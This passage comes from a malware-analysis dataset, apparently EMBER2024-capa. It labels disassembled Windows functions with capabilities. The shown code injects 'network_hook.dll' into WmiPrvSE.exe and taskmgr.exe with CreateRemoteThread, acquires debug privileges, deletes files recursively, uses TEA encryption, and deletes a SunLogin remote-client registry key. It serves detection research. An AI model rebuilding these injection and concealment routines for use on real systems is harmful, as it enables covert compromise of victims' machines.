joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110cd
Capabilities:
Encode data using base64 via winapi

Disassembly:
jmp 0x1400159d0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x138]
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x140045039]
call fcn.140011181
mov dword [rbp + 4], 0
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x40000001
mov edx, dword [rbp + 0x108]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp dword [rbp + 4], 0
je 0x140015a83
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x110]
mov r8d, 0x40000001
mov edx, dword [rbp + 0x108]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x140015a83
mov al, 1
jmp 0x140015a85
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140028bf0]
call fcn.140011771
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011163
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400193b0
push rbp
push rdi
sub rsp, 0xa48
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x292
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0xa18], rax
lea rcx, [0x140045039]
call fcn.140011181
mov qword [rbp + 0x288], 0
xor edx, edx
mov ecx, 2
call fcn.14001157d
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140019426
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot__of_processes__failed._Error:__d_n
call fcn.140011429
jmp 0x1400195a5
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400114e2
test eax, eax
jne 0x14001944d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400195a5
lea rdx, str.WmiPrvSE.exe
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x14001957f
mov ecx, dword [rbp + 0x38]
call fcn.140011082
mov dword [rbp + 0x2a4], eax
mov eax, dword [0x14002f370]
cmp dword [rbp + 0x2a4], eax
jne 0x14001957f
lea rdx, str.network_hook.dll
mov ecx, dword [rbp + 0x38]
call fcn.14001101e
movzx eax, al
test eax, eax
jne 0x14001957f
lea rax, [rbp + 0x2d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rbp + 0x500]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x2d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dx, 0x5c
lea rcx, [rbp + 0x2d0]
call fcn.140011091
mov ecx, 2
imul rcx, rcx, 0
xor edx, edx
mov word [rax + rcx], dx
lea r8, [rbp + 0x2d0]
lea rdx, str._s_network_hook.dll
lea rcx, [rbp + 0x500]
call qword [sym.imp.USER32.dll_wsprintfW]
cmp dword [rbp + 0x2a4], 0x20
jne 0x14001954a
lea r9, [rbp + 0x500]
mov r8d, dword [rbp + 0x38]
mov edx, dword [rbp + 0x2a4]
lea rcx, str.remote_inject_dll_x_d__d__ws__n
call fcn.140011816
lea rdx, [rbp + 0x500]
mov ecx, dword [rbp + 0x38]
call fcn.1400112da
cmp dword [rbp + 0x2a4], 0x40
jne 0x14001957f
lea r9, [rbp + 0x500]
mov r8d, dword [rbp + 0x38]
mov edx, dword [rbp + 0x2a4]
lea rcx, str.remote_inject_dll_x_d__d__ws__n
call fcn.140011816
lea rdx, [rbp + 0x500]
mov ecx, dword [rbp + 0x38]
call fcn.1400112da
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400111b3
test eax, eax
jne 0x14001944d
cmp qword [rbp + 8], 0
je 0x1400195a5
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x20]
lea rdx, [0x140028530]
call fcn.140011771
mov rcx, qword [rbp + 0xa18]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0xa28]
pop rdi
pop rbp
ret
Function at 0x14001118b
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x1400140a0
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x27d8
call fcn.14001100f
sub rsp, rax
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x9f6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x27f8]
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0x2790], rax
lea rcx, [0x140045039]
call fcn.140011181
mov dword [rsp + 0x20], 2
lea r9, [rbp + 0x2024]
mov r8d, 0x2000
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x27c0]
call fcn.1400110e1
test eax, eax
je 0x1400141c4
mov dword [rbp + 0x2044], 0
jmp 0x140014134
mov eax, dword [rbp + 0x2044]
inc eax
mov dword [rbp + 0x2044], eax
mov eax, dword [rbp + 0x2044]
mov qword [rbp + 0x2788], rax
mov ecx, dword [rbp + 0x2024]
xor edx, edx
mov eax, ecx
mov ecx, 8
div rcx
mov rcx, qword [rbp + 0x2788]
cmp rcx, rax
jae 0x1400141c4
lea rax, [rbp + 0x2070]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x2044]
mov r9d, 0x104
lea r8, [rbp + 0x2070]
mov rdx, qword [rbp + rax*8 + 0x10]
mov rcx, qword [rbp + 0x27c0]
call fcn.1400110af
test eax, eax
je 0x1400141bf
lea rdx, [0x14002a6f0]
lea rcx, [rbp + 0x2070]
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
jne 0x1400141bf
mov eax, dword [rbp + 0x2044]
mov rax, qword [rbp + rax*8 + 0x10]
jmp 0x1400141c6
jmp 0x140014126
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140028290]
call fcn.140011771
mov rax, rdi
mov rcx, qword [rbp + 0x2790]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x27a8]
pop rdi
pop rbp
ret

Function at 0x14001119a
Capabilities:
Terminate process

Disassembly:
jmp 0x14001e9d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112da
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
jmp 0x1400170f0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x40]
mov rdi, rsp
mov ecx, 0x8a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x248]
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x140045039]
call fcn.140011181
mov r8d, dword [rbp + 0x200]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140017160
xor al, al
jmp 0x1400172fb
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x14001718f
xor al, al
jmp 0x1400172fb
mov rcx, qword [rbp + 8]
call fcn.1400117da
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400171aa
xor al, al
jmp 0x1400172fb
lea rcx, [0x14002a6e0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rbp + 0x28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x68]
lea rcx, str.___LoadLibrary_base_address_is:_0x_llx_n
call fcn.140011816
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140017217
xor al, al
jmp 0x1400172fb
mov rdx, qword [rbp + 0x88]
lea rcx, str.___Allocated_memory_address_in_target_process_is:_0x_llx_n
call fcn.140011816
mov qword [rbp + 0xa8], 0
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 4]
mov rcx, qword [rbp + 0xa8]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8, qword [rbp + 0x208]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
jne 0x140017281
xor al, al
jmp 0x1400172fb
mov qword [rbp + 0xe8], 0
mov dword [rbp + 0x104], 0
lea rax, [rbp + 0x104]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0xe8], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140028330]
call fcn.140011771
mov rax, rdi
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret
Function at 0x140011357
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
jmp 0x140015710
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa28
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x28a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa48]
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0x9e8], rax
lea rcx, [0x140045039]
call fcn.140011181
mov r9, qword [rbp + 0xa10]
lea r8, str._s.
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.140011523
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0xffffffffffffffff
jne 0x14001579d
jmp 0x140015847
lea rdx, [0x14002b0e8]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
je 0x140015821
lea rdx, [0x14002b0ec]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
je 0x140015821
lea rax, [rbp + 0x3c]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xa10]
lea r8, str._s_s
mov edx, 0x104
lea rcx, [rbp + 0x4d0]
call fcn.140011523
mov eax, dword [rbp + 0x10]
and eax, 0x10
test eax, eax
je 0x140015814
lea rcx, [rbp + 0x4d0]
call fcn.140011357
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140015821
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001579d
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rbp - 0x30]
lea rdx, [0x140029910]
call fcn.140011771
mov rcx, qword [rbp + 0x9e8]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x9f8]
pop rdi
pop rbp
ret
Function at 0x14001144c
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140019100
push rbp
push rdi
sub rsp, 0xa48
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x292
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0xa18], rax
lea rcx, [0x140045039]
call fcn.140011181
mov qword [rbp + 0x288], 0
xor edx, edx
mov ecx, 2
call fcn.14001157d
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140019176
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot__of_processes__failed._Error:__d_n
call fcn.140011429
jmp 0x1400192f5
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400114e2
test eax, eax
jne 0x14001919d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400192f5
lea rdx, str.taskmgr.exe
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x1400192cf
mov ecx, dword [rbp + 0x38]
call fcn.140011082
mov dword [rbp + 0x2a4], eax
mov eax, dword [0x14002f370]
cmp dword [rbp + 0x2a4], eax
jne 0x1400192cf
lea rdx, str.network_hook.dll
mov ecx, dword [rbp + 0x38]
call fcn.14001101e
movzx eax, al
test eax, eax
jne 0x1400192cf
lea rax, [rbp + 0x2d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rbp + 0x500]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x2d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dx, 0x5c
lea rcx, [rbp + 0x2d0]
call fcn.140011091
mov ecx, 2
imul rcx, rcx, 0
xor edx, edx
mov word [rax + rcx], dx
lea r8, [rbp + 0x2d0]
lea rdx, str._s_network_hook.dll
lea rcx, [rbp + 0x500]
call qword [sym.imp.USER32.dll_wsprintfW]
cmp dword [rbp + 0x2a4], 0x20
jne 0x14001929a
lea r9, [rbp + 0x500]
mov r8d, dword [rbp + 0x38]
mov edx, dword [rbp + 0x2a4]
lea rcx, str.remote_inject_dll_x_d__d__ws__n
call fcn.140011816
lea rdx, [rbp + 0x500]
mov ecx, dword [rbp + 0x38]
call fcn.1400112da
cmp dword [rbp + 0x2a4], 0x40
jne 0x1400192cf
lea r9, [rbp + 0x500]
mov r8d, dword [rbp + 0x38]
mov edx, dword [rbp + 0x2a4]
lea rcx, str.remote_inject_dll_x_d__d__ws__n
call fcn.140011816
lea rdx, [rbp + 0x500]
mov ecx, dword [rbp + 0x38]
call fcn.1400112da
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400111b3
test eax, eax
jne 0x14001919d
cmp qword [rbp + 8], 0
je 0x1400192f5
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x20]
lea rdx, [0x140028670]
call fcn.140011771
mov rcx, qword [rbp + 0xa18]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0xa28]
pop rdi
pop rbp
ret
Function at 0x1400114c4
Capabilities:
Encrypt data using tea

Disassembly:
jmp 0x140014dd0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140045039]
call fcn.140011181
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rbp + 0x160]
mov eax, dword [rcx + rax]
mov dword [rbp + 4], eax
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rbp + 0x160]
mov eax, dword [rcx + rax]
mov dword [rbp + 0x24], eax
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
jmp 0x140014e4f
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0x20
jge 0x140014eff
mov eax, dword [rbp + 0x44]
add eax, 0x9e3779b9
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x24]
shl eax, 4
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x168]
add eax, dword [rdx + rcx]
mov ecx, dword [rbp + 0x44]
mov edx, dword [rbp + 0x24]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 0x24]
shr ecx, 5
mov edx, 4
imul rdx, rdx, 1
mov r8, qword [rbp + 0x168]
add ecx, dword [r8 + rdx]
xor eax, ecx
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 4
mov ecx, 4
imul rcx, rcx, 2
mov rdx, qword [rbp + 0x168]
add eax, dword [rdx + rcx]
mov ecx, dword [rbp + 0x44]
mov edx, dword [rbp + 4]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 4]
shr ecx, 5
mov edx, 4
imul rdx, rdx, 3
mov r8, qword [rbp + 0x168]
add ecx, dword [r8 + rdx]
xor eax, ecx
mov ecx, dword [rbp + 0x24]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x24], eax
jmp 0x140014e47
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rbp + 0x160]
mov edx, dword [rbp + 4]
mov dword [rcx + rax], edx
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rbp + 0x160]
mov edx, dword [rbp + 0x24]
mov dword [rcx + rax], edx
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400115fa
Capabilities:
Decrypt data using tea

Disassembly:
jmp 0x140014b50
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140045039]
call fcn.140011181
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rbp + 0x160]
mov eax, dword [rcx + rax]
mov dword [rbp + 4], eax
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rbp + 0x160]
mov eax, dword [rcx + rax]
mov dword [rbp + 0x24], eax
mov dword [rbp + 0x44], 0xc6ef3720
mov dword [rbp + 0x64], 0
jmp 0x140014bcf
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0x20
jge 0x140014c7f
mov eax, dword [rbp + 4]
shl eax, 4
mov ecx, 4
imul rcx, rcx, 2
mov rdx, qword [rbp + 0x168]
add eax, dword [rdx + rcx]
mov ecx, dword [rbp + 0x44]
mov edx, dword [rbp + 4]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 4]
shr ecx, 5
mov edx, 4
imul rdx, rdx, 3
mov r8, qword [rbp + 0x168]
add ecx, dword [r8 + rdx]
xor eax, ecx
mov ecx, dword [rbp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
shl eax, 4
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x168]
add eax, dword [rdx + rcx]
mov ecx, dword [rbp + 0x44]
mov edx, dword [rbp + 0x24]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 0x24]
shr ecx, 5
mov edx, 4
imul rdx, rdx, 1
mov r8, qword [rbp + 0x168]
add ecx, dword [r8 + rdx]
xor eax, ecx
mov ecx, dword [rbp + 4]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x44]
sub eax, 0x9e3779b9
mov dword [rbp + 0x44], eax
jmp 0x140014bc7
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rbp + 0x160]
mov edx, dword [rbp + 4]
mov dword [rcx + rax], edx
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rbp + 0x160]
mov edx, dword [rbp + 0x24]
mov dword [rcx + rax], edx
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400116d1
Capabilities:
Parse pe header

Disassembly:
jmp 0x140020e80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140020ea0
xor al, al
jmp 0x140020f21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140020eb3
xor al, al
jmp 0x140020f21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140020edd
xor al, al
jmp 0x140020f21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140020ef1
xor al, al
jmp 0x140020f21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140020f03
xor al, al
jmp 0x140020f21
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140020f1f
xor al, al
jmp 0x140020f21
mov al, 1
add rsp, 0x38
ret
Function at 0x140011717
Capabilities:
Terminate process

Disassembly:
jmp 0x140016b60
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x8e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x140045039]
call fcn.140011181
mov qword [rbp + 8], 0
lea rdx, str.SELECT_ProcessId__Name_FROM_Win32_Process
lea rcx, [rbp + 0x198]
call fcn.1400116b8
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1d0]
call fcn.1400113cf
mov qword [rbp + 0x1d8], rax
lea rdx, [0x14002ac5c]
lea rcx, [rbp + 0x1b8]
call fcn.1400116b8
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x1e8], rax
mov rcx, qword [rbp + 0x1e8]
call fcn.1400113cf
mov rcx, qword [rbp + 0x220]
mov rcx, qword [rcx]
mov qword [rbp + 0x1f0], rcx
lea rdx, [rbp + 8]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov rdx, qword [rbp + 0x1d8]
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x220]
mov rax, qword [rbp + 0x1f0]
call qword [rax + 0xa0]
mov dword [rbp + 0x24], eax
lea rcx, [rbp + 0x1b8]
call fcn.1400114b5
nop
lea rcx, [rbp + 0x198]
call fcn.1400114b5
cmp dword [rbp + 0x24], 0
jge 0x140016cce
xor r9d, r9d
lea r8, str.error
lea rdx, str.Query_for_processes_failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [rbp + 0x220]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x220]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
jmp 0x140016dd0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x64], 0
cmp qword [rbp + 8], 0
je 0x140016dc2
mov rax, qword [rbp + 8]
mov rax, qword [rax]
lea rcx, [rbp + 0x64]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x48]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 8]
call qword [rax + 0x20]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x64], 0
jne 0x140016d1f
jmp 0x140016dc2
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xa8]
xor r8d, r8d
lea rdx, str.ProcessId
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x20]
mov dword [rbp + 0x84], eax
lea rcx, [rbp + 0xa8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xa8]
xor r8d, r8d
lea rdx, str.Name
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x20]
mov dword [rbp + 0x84], eax
lea rcx, [rbp + 0xa8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x48]
call qword [rax + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140016cdd
mov rax, qword [rbp + 8]
mov rax, qword [rax]
mov rcx, qword [rbp + 8]
call qword [rax + 0x10]
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_connect
call fcn.140011771
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x140011726
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x1400149e0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x140045039]
call fcn.140011181
mov byte [rbp + 0x34], 0
mov eax, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
imul rax, rax, 0
lea rax, [rbp + rax + 0xc]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140014ad6
mov qword [rbp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x58]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140014ad6
mov eax, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
imul rax, rax, 0
mov dword [rbp + rax + 0x14], 2
mov dword [rbp + 8], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 8]
xor edx, edx
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140014ab8
mov dword [rbp + 0x124], 1
jmp 0x140014ac2
mov dword [rbp + 0x124], 0
movzx eax, byte [rbp + 0x124]
mov byte [rbp + 0x34], al
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rbp + 0x34]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140011771
mov eax, edi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x140011749
Capabilities:
Delete directory
Delete registry key

Disassembly:
jmp 0x1400158d0
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002f018]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x140045039]
call fcn.140011181
lea rax, str.SOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionUninstallOray_SunLogin_RemoteClient
mov qword [rbp + 0x28], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x202
